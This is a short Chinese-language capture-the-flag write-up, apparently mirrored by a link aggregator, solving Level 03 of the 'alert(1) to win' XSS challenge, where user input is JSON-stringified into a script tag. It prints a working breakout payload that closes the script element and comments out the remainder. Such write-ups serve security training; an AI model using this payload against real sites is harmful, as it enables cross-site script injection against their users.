3

【alert(1) to win】 Level 03 - JSON

 2 years ago
source link: https://exp-blog.com/safe/ctf/alert/level-03-json/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

【alert(1) to win】 Level 03



javascript
function escape(s) {
  s = JSON.stringify(s);
  return '<script>console.log(' + s + ');</script>';
}

从代码可知对输入做了 stringify 过滤,关于其功能详见 这里

简单来说就是把 "\ 都转义了,导致无法直接闭合函数。

但是闭合 <script> 就可以了,构造 payload 如下 (此处没有闭合后半段的双引号,而是通过行注释 // 屏蔽掉):

javascript
</script><script>alert(1);//
01.png


Recommend

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK